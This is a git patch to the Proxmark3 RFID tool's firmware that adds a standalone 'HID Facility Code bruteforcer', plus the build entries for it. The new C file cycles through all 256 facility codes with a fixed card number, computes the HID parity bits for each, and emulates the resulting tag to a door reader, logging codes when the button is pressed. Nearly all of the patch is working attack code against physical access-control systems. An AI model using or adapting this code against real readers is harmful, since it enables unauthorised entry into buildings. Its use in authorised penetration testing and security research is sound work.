From 19e118a34380cd958af7062461ebd5b3008b1ba2 Mon Sep 17 00:00:00 2001 From: Stephen Shkardoon Date: Thu, 22 Jul 2021 15:58:29 +1200 Subject: [PATCH] Add a standalone FacilityCode bruteforcer for HID This requires a known card number, but often works as 1 is a default. --- armsrc/Standalone/Makefile.hal | 5 +- armsrc/Standalone/Makefile.inc | 6 +- armsrc/Standalone/lf_hidfcbrute.c | 168 ++++++++++++++++++++++++++++++ armsrc/Standalone/lf_hidfcbrute.h | 8 ++ 4 files changed, 185 insertions(+), 2 deletions(-) create mode 100644 armsrc/Standalone/lf_hidfcbrute.c create mode 100644 armsrc/Standalone/lf_hidfcbrute.h diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal index 498300ac7..3cabe2e9e 100644 --- a/armsrc/Standalone/Makefile.hal +++ b/armsrc/Standalone/Makefile.hal @@ -26,6 +26,9 @@ define KNOWN_STANDALONE_DEFINITIONS | LF_HIDBRUTE | HID corporate 1000 bruteforce | | | - Federico dotta & Maurizio Agazzini | +----------------------------------------------------------+ +| LF_HIDFCBRUTE | HID Facility Code bruteforce | +| (RDV4 only) | | ++----------------------------------------------------------+ | LF_ICEHID | LF HID collector to flashmem | | (RDV4 only) | | +----------------------------------------------------------+ @@ -86,7 +89,7 @@ STANDALONE_MODES := LF_SKELETON LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RWC LF_HIDB STANDALONE_MODES += HF_14ASNIFF HF_AVEFUL HF_BOG HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_MATTYRUN HF_MSDSAL HF_TCPRST HF_TMUDFORD HF_YOUNG HF_REBLAY STANDALONE_MODES_REQ_BT := HF_REBLAY STANDALONE_MODES_REQ_SMARTCARD := -STANDALONE_MODES_REQ_FLASH := LF_ICEHID LF_NEXID LF_THAREXDE HF_14ASNIFF HF_BOG HF_COLIN HF_ICECLASS +STANDALONE_MODES_REQ_FLASH := LF_HIDFCBRUTE LF_ICEHID LF_NEXID LF_THAREXDE HF_14ASNIFF HF_BOG HF_COLIN HF_ICECLASS ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),) STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE) ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),) diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc index 510c56a48..cd742ae9c 100644 --- a/armsrc/Standalone/Makefile.inc +++ b/armsrc/Standalone/Makefile.inc @@ -17,6 +17,10 @@ endif ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS))) SRC_STANDALONE = lf_hidbrute.c endif +# WITH_STANDALONE_LF_HIDFCBRUTE +ifneq (,$(findstring WITH_STANDALONE_LF_HIDFCBRUTE,$(APP_CFLAGS))) + SRC_STANDALONE = lf_hidfcbrute.c +endif # WITH_STANDALONE_HF_YOUNG ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS))) SRC_STANDALONE = hf_young.c @@ -92,4 +96,4 @@ endif # WITH_STANDALONE_HF_REBLAY ifneq (,$(findstring WITH_STANDALONE_HF_REBLAY,$(APP_CFLAGS))) SRC_STANDALONE = hf_reblay.c -endif \ No newline at end of file +endif diff --git a/armsrc/Standalone/lf_hidfcbrute.c b/armsrc/Standalone/lf_hidfcbrute.c new file mode 100644 index 000000000..8a581c01e --- /dev/null +++ b/armsrc/Standalone/lf_hidfcbrute.c @@ -0,0 +1,168 @@ +/** + * Bruteforce a HID system using a static card number but incrementing FC + * + * This is only going to work if the system has a card number registered that you know, + * or if you can determine whether a given FC is valid based on external information. + * + * Author: proxmark@ss23.geek.nz - ss23 + * Based on lf_hidbrute + * + * To retrieve log file from flash: + * + * 1. mem spiffs dump -s lf_hidlfcollect.log -d lf_hidlfcollect.log + * Copies log file from flash to your client. + * + * 2. exit the Proxmark3 client + * + * 3. more lf_hidcollect.log + * + * To delete the log file from flash: + * + * 1. mem spiffs remove -f lf_hidlfcollect.log + */ + +#include "standalone.h" +#include "lf_hidfcbrute.h" + +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "lfsampling.h" +#include "util.h" +#include "dbprint.h" +#include "spiffs.h" +#include "ticks.h" +#include "lfops.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "parity.h" + +// What card number should be used for the bruteforce? +// In some systems, card number 1 is valid, so this may be a good starting point. +#define CARD_NUMBER 1 + +#define LF_HIDCOLLECT_LOGFILE "lf_hidlfcollect.log" + +static void append(uint8_t *entry, size_t entry_len) { + LED_B_ON(); + DbpString("Writing... "); + DbpString((char *)entry); + rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE); + LED_B_OFF(); +} + +void ModInfo(void) { + DbpString(_YELLOW_(" LF HID FC Bruteforce")); +} + +void RunMod(void) { + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + LFSetupFPGAForADC(LF_DIVISOR_125, true); + BigBuf_Clear(); + StandAloneMode(); + WDT_HIT(); + + LEDsoff(); + LED_A_ON(); + LED_B_ON(); + LED_C_ON(); + + rdv40_spiffs_lazy_mount(); + // Buffer for writing to log + uint8_t entry[81]; + memset(entry, 0, sizeof(entry)); + sprintf((char *)entry, "%s\n", "HID FC Brute"); + + // Create the log file + if (exists_in_spiffs(LF_HIDCOLLECT_LOGFILE)) { + rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, strlen((char *)entry), RDV40_SPIFFS_SAFETY_SAFE); + } else { + rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, strlen((char *)entry), RDV40_SPIFFS_SAFETY_SAFE); + } + LED_B_OFF(); + + Dbprintf("Waiting to begin bruteforce"); + + // Wait until the user presses the button to begin the bruteforce + for (;;) { + // Hit the watchdog timer regularly + WDT_HIT(); + int button_pressed = BUTTON_HELD(10); + if ((button_pressed == BUTTON_HOLD) || (button_pressed == BUTTON_SINGLE_CLICK)) { + break; + } + } + + Dbprintf("Running Bruteforce"); + + LEDsoff(); + LED_A_ON(); + + // Buffer for HID data + uint32_t high, low; + + for (uint32_t fc = 0; fc < 256; fc++) { + // Hit the watchdog timer regularly + WDT_HIT(); + + LEDsoff(); + + // Toggle LED_C + if ((fc % 2) == 1) { + LED_C_ON(); + } + + // If we get USB data, break out + if (data_available()) break; + + // If a user attempts to hold button, abort the run + /* + int button_pressed = BUTTON_HELD(1000); // 1 second + if (button_pressed == BUTTON_HOLD) { + break; + } + */ + // If a user pressed the button once, briefly, output the current FC to the log file + if (BUTTON_PRESS()) { + memset(entry, 0, sizeof(entry)); + + sprintf((char *)entry, "FC: %li\n", fc); + append(entry, strlen((char *)entry)); + } + + // Calculate data required for a HID card + hid_calculate_checksum_and_set(&high, &low, 1, fc); + + // Print actual code to brute + Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high, low, (low >> 1) & 0xFFFF, fc, 1); + + LED_A_ON(); + LED_D_ON(); + StartTicks(); + CmdHIDsimTAGEx(0, high, low, 0, 1, 40000); + LED_D_OFF(); + StartTicks(); + WaitMS(50); + StopTicks(); + LED_A_OFF(); + } + + LEDsoff(); +} + +void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) { + uint32_t newhigh = 0; + uint32_t newlow = 0; + + newlow = 0; + newlow |= (cardnum & 0xFFFF) << 1; + newlow |= (fc & 0xFF) << 17; + newlow |= oddparity32((newlow >> 1) & 0xFFF); + newlow |= (evenparity32((newlow >> 13) & 0xFFF)) << 25; + + newhigh |= 0x20; // Bit 37; standard header + newlow |= 1U << 26; // leading 1: start bit + + *low = newlow; + *high = newhigh; +} diff --git a/armsrc/Standalone/lf_hidfcbrute.h b/armsrc/Standalone/lf_hidfcbrute.h new file mode 100644 index 000000000..096d2ce53 --- /dev/null +++ b/armsrc/Standalone/lf_hidfcbrute.h @@ -0,0 +1,8 @@ +#ifndef __LF_HIDFCBRUTE_H +#define __LF_HIDFCBRUTE_H + +#include + +void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc); + +#endif /* __LF_HIDFCBRUTE_H */